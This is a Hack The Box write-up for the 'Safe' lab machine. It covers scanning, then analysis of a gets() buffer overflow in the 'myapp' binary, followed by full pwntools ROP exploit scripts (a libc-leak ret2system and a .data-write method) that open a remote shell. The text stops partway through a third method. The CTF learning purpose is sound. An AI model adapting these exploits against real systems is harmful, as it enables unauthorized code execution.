Safe
Contents
Ports scan
u505@kali:~/HTB/Machines/Safe$ sudo masscan -e tun0 -p1-65535,U:1-65535 10.10.10.147 --rate=1000 [sudo] password for u505:
Starting masscan 1.0.5 at 2020-02-26 02:27:00 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.147 Discovered open port 22/tcp on 10.10.10.147 Discovered open port 1337/tcp on 10.10.10.147
u505@kali:~/HTB/Machines/Safe$ nmap -sC -sV 10.10.10.147 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 21:27 EST Nmap scan report for safe.htb (10.10.10.147) Host is up (0.038s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA) | 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA) |_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Apache2 Debian Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds
Additional scan on port 1337 found by masscan.
u505@kali:~/HTB/Machines/Safe$ nmap -sC -sV -p 1337 10.10.10.147 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 21:29 EST Nmap scan report for safe.htb (10.10.10.147) Host is up (0.043s latency).
PORT STATE SERVICE VERSION 1337/tcp open waste? | fingerprint-strings: | DNSStatusRequestTCP: | 21:30:38 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | DNSVersionBindReqTCP: | 21:30:33 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | GenericLines: | 21:30:22 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? | GetRequest: | 21:30:28 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? GET / HTTP/1.0 | HTTPOptions: | 21:30:28 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? OPTIONS / HTTP/1.0 | Help: | 21:30:43 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? HELP | NULL: | 21:30:22 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | RPCCheck: | 21:30:28 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | RTSPRequest: | 21:30:28 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? OPTIONS / RTSP/1.0 | SSLSessionReq, TLSSessionReq, TerminalServerCookie: | 21:30:43 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 |_ What do you want me to echo back? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port1337-TCP:V=7.80%I=7%D=2/25%Time=5E55D804%P=x86_64-pc-linux-gnu%r(NU SF:LL,3E,"\x2021:30:22\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x SF:20average:\x200\.00,\x200\.00,\x200\.00\n")%r(GenericLines,63,"\x2021:3 SF:0:22\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200 SF:\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2021:30:28\x20up\x205\x20min, SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.0 SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20 SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2021:30:28\x20up\x205\x20min,\ SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00 SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\ SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2021:30:28\x20up\x205\x20mi SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\ SF:.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2021:30:28\x20up\x205\x20mi SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\ SF:.00\n")%r(DNSVersionBindReqTCP,3E,"\x2021:30:33\x20up\x205\x20min,\x20\ SF:x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n") SF:%r(DNSStatusRequestTCP,3E,"\x2021:30:38\x20up\x205\x20min,\x20\x200\x20 SF:users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n")%r(Help, SF:67,"\x2021:30:43\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20a SF:verage:\x200\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2021:30:43 SF:\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00 SF:,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2021:30:43\x20up\ SF:x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\ SF:.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\ SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2021:30:43\x20up\x205\x20min,\x20\x SF:200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n\nW SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 89.65 seconds
Port 80
u505@kali:~/HTB/Machines/Safe$ curl -s http://safe.htb | head -n 10 <br> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <!-- 'myapp' can be downloaded to analyze from here its running on port 1337 --> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Apache2 Debian Default Page: It works</title> <style type="text/css" media="screen"> * { (23) Failed writing body
The web servers seems to be the default apache webpage, with the exception of the comment about port 1337 and myapp.
Enumeration
u505@kali:~/HTB/Machines/Safe$ python3 /opt/utils/dirsearch/dirsearch.py /usr/share/wordlists/dirb/common2.txt -e "txt" -f -t 50 -u http://safe.htb
_|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| )
Extensions: txt | HTTP method: get | Threads: 50 | Wordlist size: 10313
Error Log: /opt/utils/dirsearch/logs/errors-20-02-25_21-41-46.log
Target: http://safe.htb
[21:41:46] Starting: [21:41:47] 403 - 295B - /.ht_wsr.txt/ [21:41:48] 403 - 298B - /.ht_wsr.txt.txt [21:41:48] 403 - 291B - /.hta.txt [21:41:48] 403 - 288B - /.hta/ [21:41:48] 403 - 296B - /.htaccess.txt [21:41:48] 403 - 300B - /.htaccess-dev.txt [21:41:48] 403 - 302B - /.htaccess-local.txt [21:41:48] 403 - 297B - /.htaccess-dev/ [21:41:48] 403 - 299B - /.htaccess-local/ [21:41:48] 403 - 302B - /.htaccess-marco.txt [21:41:48] 403 - 299B - /.htaccess-marco/ [21:41:48] 403 - 300B - /.htaccess.BAK.txt [21:41:48] 403 - 297B - /.htaccess.BAK/ [21:41:48] 403 - 300B - /.htaccess.bak.txt [21:41:48] 403 - 297B - /.htaccess.bak/ [21:41:48] 403 - 298B - /.htaccess.bak1/ [21:41:48] 403 - 301B - /.htaccess.bak1.txt [21:41:48] 403 - 300B - /.htaccess.inc.txt [21:41:48] 403 - 297B - /.htaccess.inc/ [21:41:48] 403 - 297B - /.htaccess.old/ [21:41:48] 403 - 300B - /.htaccess.old.txt [21:41:48] 403 - 298B - /.htaccess.orig/ [21:41:48] 403 - 301B - /.htaccess.orig.txt [21:41:48] 403 - 303B - /.htaccess.sample.txt [21:41:48] 403 - 300B - /.htaccess.sample/ [21:41:48] 403 - 301B - /.htaccess.save.txt [21:41:48] 403 - 298B - /.htaccess.save/ [21:41:48] 403 - 297B - /.htaccess.txt/ [21:41:48] 403 - 300B - /.htaccess.txt.txt [21:41:48] 403 - 302B - /.htaccess_extra.txt [21:41:48] 403 - 298B - /.htaccess_orig/ [21:41:48] 403 - 299B - /.htaccess_extra/ [21:41:48] 403 - 301B - /.htaccess_orig.txt [21:41:48] 403 - 296B - /.htaccess_sc/ [21:41:48] 403 - 299B - /.htaccess_sc.txt [21:41:48] 403 - 296B - /.htaccessBAK/ [21:41:48] 403 - 299B - /.htaccessOLD.txt [21:41:48] 403 - 296B - /.htaccessOLD/ [21:41:48] 403 - 299B - /.htaccessBAK.txt [21:41:48] 403 - 300B - /.htaccessOLD2.txt [21:41:48] 403 - 297B - /.htaccessOLD2/ [21:41:48] 403 - 294B - /.htaccess~/ [21:41:48] 403 - 295B - /.htgroup.txt [21:41:48] 403 - 297B - /.htaccess~.txt [21:41:48] 403 - 292B - /.htgroup/ [21:41:48] 403 - 296B - /.htpasswd.txt [21:41:48] 403 - 300B - /.htpasswd-old.txt [21:41:48] 403 - 297B - /.htpasswd.bak/ [21:41:48] 403 - 297B - /.htpasswd-old/ [21:41:48] 403 - 300B - /.htpasswd.bak.txt [21:41:48] 403 - 297B - /.htpasswd.inc/ [21:41:48] 403 - 300B - /.htpasswd.inc.txt [21:41:48] 403 - 301B - /.htpasswd_test.txt [21:41:48] 403 - 298B - /.htpasswd_test/ [21:41:48] 403 - 294B - /.htpasswds/ [21:41:48] 403 - 297B - /.htpasswds.txt [21:41:48] 403 - 297B - /.htpasswrd.txt [21:41:48] 403 - 294B - /.htpasswrd/ [21:41:48] 403 - 295B - /.htusers.txt [21:41:48] 403 - 292B - /.htusers/ [21:42:04] 403 - 289B - /icons/ [21:42:06] 200 - 626B - /manual/ [21:42:10] 403 - 297B - /server-status/
Task Completed
The enumeration doesn't gave us any clue.
Myapp
u505@kali:~/HTB/Machines/Safe$ wget -q http://safe.htb/myapp
We download the app myapp. The application is a simple application, that runs an uptime and returns the input text.
u505@kali:~/HTB/Machines/Safe$ ./myapp 21:47:11 up 28 min, 2 users, load average: 0.00, 0.05, 0.07
What do you want me to echo back? Hello Hello
Port 1337
u505@kali:~/HTB/Machines/Safe$ nc safe.htb 1337 21:54:25 up 29 min, 0 users, load average: 0.00, 0.00, 0.00 Hello World
What do you want me to echo back? Hello World
Ncat: Broken pipe.
The behavior of the network app, is the same as myapp.
Myapp analysis
At a first glance, this application is prone to create a buffer overflow, because the function gets reads the input and assign it into a variable of 112 bytes without any control, and the application write the content of the variable with the function puts.
Application type
u505@kali:~/HTB/Machines/Safe$ file myapp myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
Offset determination
u505@kali:~/HTB/Machines/Safe$ gdb myapp GNU gdb (Debian 8.3.1-1) 8.3.1 Copyright (C) 2019 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from myapp... (No debugging symbols found in myapp) (gdb) init-peda gdb-peda$ set follow-fork-mode parent gdb-peda$ pattern create 150 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA' gdb-peda$ r Starting program: /opt/HTB/Machines/Safe/myapp [Detaching after vfork from child process 2685] 22:02:35 up 43 min, 2 users, load average: 0.03, 0.05, 0.04
What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7eda7e4 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7fab580 --> 0x0 RSI: 0x4052a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n") RDI: 0x0 RBP: 0x41414e4141384141 ('AA8AANAA') RSP: 0x7fffffffe468 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") RIP: 0x4011ac (<main+77>: ret) R8 : 0x97 R9 : 0x0 R10: 0x4003e0 --> 0x6972700073747570 ('puts') R11: 0x246 R12: 0x401070 (<_start>: xor ebp,ebp) R13: 0x7fffffffe540 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4011a1 <main+66>: call 0x401030 <puts@plt> 0x4011a6 <main+71>: mov eax,0x0 0x4011ab <main+76>: leave => 0x4011ac <main+77>: ret 0x4011ad: nop DWORD PTR [rax] 0x4011b0 <__libc_csu_init>: push r15 0x4011b2 <__libc_csu_init+2>: mov r15,rdx 0x4011b5 <__libc_csu_init+5>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe468 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") 0008| 0x7fffffffe470 ("AkAAPAAlAAQAAmAARAAoAA") 0016| 0x7fffffffe478 ("AAQAAmAARAAoAA") 0024| 0x7fffffffe480 --> 0x41416f414152 ('RAAoAA') 0032| 0x7fffffffe488 --> 0x40115f (<main>: push rbp) 0040| 0x7fffffffe490 --> 0x0 0048| 0x7fffffffe498 --> 0x12a755286aedb318 0056| 0x7fffffffe4a0 --> 0x401070 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ac in main () gdb-peda$ pattern offset jAA9AAOAAkAAPAAlAAQAAmAARAAoAA jAA9AAOAAkAAPAAlAAQAAmAARAAoAA found at offset: 120
Checksec
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
The program is compiled with NX flag enabled, meaning the program doesn't allow executable code from the stack.
ldd myapp
u505@kali:~/HTB/Machines/Safe$ ldd myapp
linux-vdso.so.1 (0x00007ffdd0961000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5b3d110000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5b3d2f1000)
Method 1: 2 stages
The strategy is to leak the base glib address and after call the function system with the string /bin/sh to gain a shell.
https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf
Additionally, %rdi, %rsi, %rdx, %rcx, %r8, and %r9 are used to pass the first six integer or pointer parameters to called functions. Additional parameters (or large parameters such as structs passed by value) are passed on the stack.
main address
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x000000000040115f <+0>: push rbp
0x0000000000401160 <+1>: mov rbp,rsp
0x0000000000401163 <+4>: sub rsp,0x70
0x0000000000401167 <+8>: lea rdi,[rip+0xe9a] # 0x402008
0x000000000040116e <+15>: call 0x401040 <system@plt>
0x0000000000401173 <+20>: lea rdi,[rip+0xe9e] # 0x402018
0x000000000040117a <+27>: mov eax,0x0
0x000000000040117f <+32>: call 0x401050 <printf@plt>
0x0000000000401184 <+37>: lea rax,[rbp-0x70]
0x0000000000401188 <+41>: mov esi,0x3e8
0x000000000040118d <+46>: mov rdi,rax
0x0000000000401190 <+49>: mov eax,0x0
0x0000000000401195 <+54>: call 0x401060 <gets@plt>
0x000000000040119a <+59>: lea rax,[rbp-0x70]
0x000000000040119e <+63>: mov rdi,rax
0x00000000004011a1 <+66>: call 0x401030 <puts@plt>
0x00000000004011a6 <+71>: mov eax,0x0
0x00000000004011ab <+76>: leave
=>0x00000000004011ac <+77>: ret
End of assembler dump.
plt addresses
db-peda$ elfsymbol
Found 4 symbols
puts@plt = 0x401030
system@plt = 0x401040
printf@plt = 0x401050
gets@plt = 0x401060
got.plt addresses
gdb-peda$ x/i 0x401030 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <puts@got.plt> gdb-peda$ x/i 0x401040 0x401040 <system@plt>: jmp QWORD PTR [rip+0x2fda] # 0x404020 <system@got.plt> gdb-peda$ x/i 0x401050 0x401050 <printf@plt>: jmp QWORD PTR [rip+0x2fd2] # 0x404028 <printf@got.plt> gdb-peda$ x/i 0x401060 0x401060 <gets@plt>: jmp QWORD PTR [rip+0x2fca] # 0x404030 <gets@got.plt>
Gadget to pop rdi
The argument of system is taken from the register RDI. We need a gadget to pop the value from the stack to the register rdi.
u505@kali:~/HTB/Machines/Safe$ ropper -f myapp | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x000000000040108a: adc dword ptr [rax], eax; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040119b: lea eax, [rbp - 0x70]; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119a: lea rax, [rbp - 0x70]; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x0000000000401087: mov ecx, 0x4011b0; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x0000000000401086: mov rcx, 0x4011b0; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040108d: mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040119e: mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x00000000004010c6: or dword ptr [rdi + 0x404048], edi; jmp rax;
0x0000000000401090: pop rdi; adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040120b: pop rdi; ret;
0x000000000040119c: xchg eax, r8d; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119d: nop; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
Leak of puts address
u505@kali:~/HTB/Machines/Safe$ cat exploit.py #!/usr/bin/python from pwn import * #context(log_level='DEBUG') p = remote ("10.10.10.147",1337) #raw_input(str(p.proc.pid)) systemplt=0x401040 putsgot=0x404018 poprdi=0x000000000040120b junk = 120*'A'
payload = junk + p64(poprdi) + p64(putsgot) + p64(systemplt) + p64(0xdeadc0de) +"\n" data1 = p.recvline() log.info("data1 %s" % data1) p.send(payload) data2 = p.recvline() leakaddr=u64(data2[7:13].ljust(8,"\x00")) log.info("Leak 0x%x" % leakaddr)
If we run the exploit it returns the address of puts
u505@kali:~/HTB/Machines/Safe$ python exploit.py [+] Opening connection to 10.10.10.147 on port 1337: Done [*] data1 22:55:16 up 1:30, 0 users, load average: 0.00, 0.00, 0.00 [*] Leak 0x7f05ef9f0f90 [*] Closed connection to 10.10.10.147 port 1337 u505@kali:~/HTB/Machines/Safe$ python exploit.py [+] Opening connection to 10.10.10.147 on port 1337: Done [*] data1 22:55:18 up 1:30, 0 users, load average: 0.00, 0.00, 0.00 [*] Leak 0x7f745a627f90 [*] Closed connection to 10.10.10.147 port 1337 u505@kali:~/HTB/Machines/Safe$ python exploit.py [+] Opening connection to 10.10.10.147 on port 1337: Done [*] data1 22:55:20 up 1:30, 0 users, load average: 0.00, 0.00, 0.00 [*] Leak 0x7f74c11a1f90 [*] Closed connection to 10.10.10.147 port 1337
The address is different at each execution, so the ASLR is enabled on the target. But the 3 lasts bytes are the same all the time.
Other address Leaks
u505@kali:~/HTB/Machines/Safe$ cat exploit.py #!/usr/bin/python from pwn import * #context(log_level='DEBUG') p = remote ("10.10.10.147",1337) #raw_input(str(p.proc.pid)) systemplt=0x401040 putsgot=0x404018 systemgot=0x404020 printfgot=0x404028 getsgot=0x404030 poprdi=0x000000000040120b junk = 120*'A'
payload = junk + p64(poprdi) + p64(systemgot) + p64(systemplt) + p64(0xdeadc0de) +"\n" data1 = p.recvline() log.info("data1 %s" % data1) p.send(payload) data2 = p.recvline() leakaddr=u64(data2[7:13].ljust(8,"\x00")) log.info("Leak 0x%x" % leakaddr)
For system, the last 3 bytes are 480
u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1 23:00:22 up 1:35, 0 users, load average: 0.00, 0.00, 0.00
[*] Leak 0x7f1b7f421480
[*] Closed connection to 10.10.10.147 port 1337
For printf, the last 3 bytes are 190
u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1 23:05:44 up 1:40, 0 users, load average: 0.00, 0.00, 0.00
[*] Leak 0x7fdfcac88190
[*] Closed connection to 10.10.10.147 port 1337
And least, for gets the last 3 bytes are 953
u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1 23:06:37 up 1:41, 0 users, load average: 0.00, 0.00, 0.00
[*] Leak 0x7861746e7953
[*] Closed connection to 10.10.10.147 port 1337
libc database
With these leaks, and the glibc database, we can determine the glibc compilation of the target and determine the offset of the /bin/sh string.
Now we know, that the offset of the string /bin/sh is 0xf8c89 after puts leak.
Final exploit
The first stage is to leak the address of puts with call to system, the return function will be main. In the second stage we call system and provide /bin/sh address to RDI register.
u505@kali:~/HTB/Machines/Safe$ cat exploit.py #!/usr/bin/python from pwn import *
#context(log_level='DEBUG')
p = remote ("10.10.10.147",1337)
systemplt=0x401040 putsgot=0x404018 poprdi=0x000000000040120b mainaddr=0x000000000040115f junk = 120*'A'
payload = junk + p64(poprdi) + p64(putsgot) + p64(systemplt) + p64(mainaddr) +"\n" data1 = p.recvline() log.info("data1 %s" % data1) p.send(payload) data2 = p.recvline() leakaddr=u64(data2[7:13].ljust(8,"\x00")) log.info("Leak 0x%x" % leakaddr)
binsh=leakaddr+0xf8c89
log.info("binsh addr 0x%x" % binsh)
payload = junk + p64(poprdi) + p64(binsh) + p64(systemplt) + "\n" p.send(payload) p.interactive()
At the execution, we gain a shell.
u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1 23:26:48 up 2:01, 0 users, load average: 0.00, 0.00, 0.00
[*] Leak 0x7fbd7df41f90
[*] binsh addr 0x7fbd7e03ac19
[*] Switching to interactive mode
23:26:48 up 2:01, 0 users, load average: 0.00, 0.00, 0.00
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux
$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 10.10.10.147 port 1337
[*] Got EOF while sending in interactive
Method 2: write in memory
The memory mapping
gdb-peda$ vmmap Warning: not running Start End Perm Name 0x00401000 0x0040121d rx-p /opt/HTB/Machines/Safe/myapp 0x004002a8 0x004021a0 r--p /opt/HTB/Machines/Safe/myapp 0x00403e10 0x00404050 rw-p /opt/HTB/Machines/Safe/myapp
The range 0x00403e10 0x00404050 is writable.
The range 0x00404038 - 0x00404047 is the .data segment
gdb-peda$ distance 0x00404038 0x00404047
From 0x404038 to 0x404047: 15 bytes, 3 dwords (+3 bytes)
That means that we can use this memory segment to write 15 bytes. The strategy is to write the string "/bin/sh\n" (8 bytes) at this address and call system
Addresses
The address of .data segment memory is 0x404038
gdb-peda$ elfsymbol Found 4 symbols puts@plt = 0x401030 system@plt = 0x401040 printf@plt = 0x401050 gets@plt = 0x401060
And from the method 1 we have the address of the gadget pop rdi
u505@kali:~/HTB/Machines/Safe$ ropper -f myapp | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x000000000040108a: adc dword ptr [rax], eax; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040119b: lea eax, [rbp - 0x70]; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119a: lea rax, [rbp - 0x70]; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x0000000000401087: mov ecx, 0x4011b0; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x0000000000401086: mov rcx, 0x4011b0; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040108d: mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040119e: mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x00000000004010c6: or dword ptr [rdi + 0x404048], edi; jmp rax;
0x0000000000401090: pop rdi; adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040120b: pop rdi; ret;
0x000000000040119c: xchg eax, r8d; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119d: nop; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
Exploit implementation
After 120 of junk bytes, we pop the data address on the RDI register call gets to read our "/bin/sh" string from stdin, we pop data address in RDI again and call system
u505@kali:~/HTB/Machines/Safe$ cat exploit.py #!/usr/bin/python from pwn import *
#context(log_level='DEBUG') p = remote ("10.10.10.147",1337) #raw_input(str(p.proc.pid)) systemplt=0x401040 getsplt=0x401060 poprdi=0x000000000040120b dataaddr=0x00404038 junk = 120*'A'
payload = junk + p64(poprdi) + p64(dataaddr) + p64(getsplt) + p64(poprdi) + p64(dataaddr) + p64(systemplt) + "\n" data1 = p.recvline() log.info("data1 %s" % data1) log.info("Send payload") p.send(payload) log.info("Send bin sh string") p.send("/bin/sh\n")
p.interactive()
We obtain shell if we execute it.
u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1 00:21:58 up 2:56, 0 users, load average: 0.00, 0.00, 0.00
[*] Send payload
[*] Send bin sh string
[*] Switching to interactive mode
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux
$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 10.10.10.147 port 1337
[*] Got EOF while sending in interactive
Method 3: Test function
This seems the intended method to solve the machine. There is a function test. This function is never called by the program.
gdb-peda$ pdisass test Dump of assembler code for function test: 0x0000000000401152 <+0>: push rbp 0x0000000000401153 <+1>: mov rbp,rsp 0x0000000000401156 <+4>: mov rdi,rsp 0x0000000000401159 <+7>: jmp r13 0x000000000040115c <+10>: nop 0x000000000040115d <+11>: pop rbp 0x000000000040115e <+12>: ret End of assembler dump.
The function test push register RBP to the stack, and the value of the stack is sent to register RDI and a call is done to the address in R13
Value of RBP at the segmentation fault
gdb-peda$ r Starting program: /opt/HTB/Machines/Safe/myapp [Detaching after vfork from child process 7122] 09:34:47 up 12:15, 6 users, load average: 0.00, 0.03, 0.00
What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAF AAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AA OAAkAAPAAlAAQAAmAARAAoAA AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
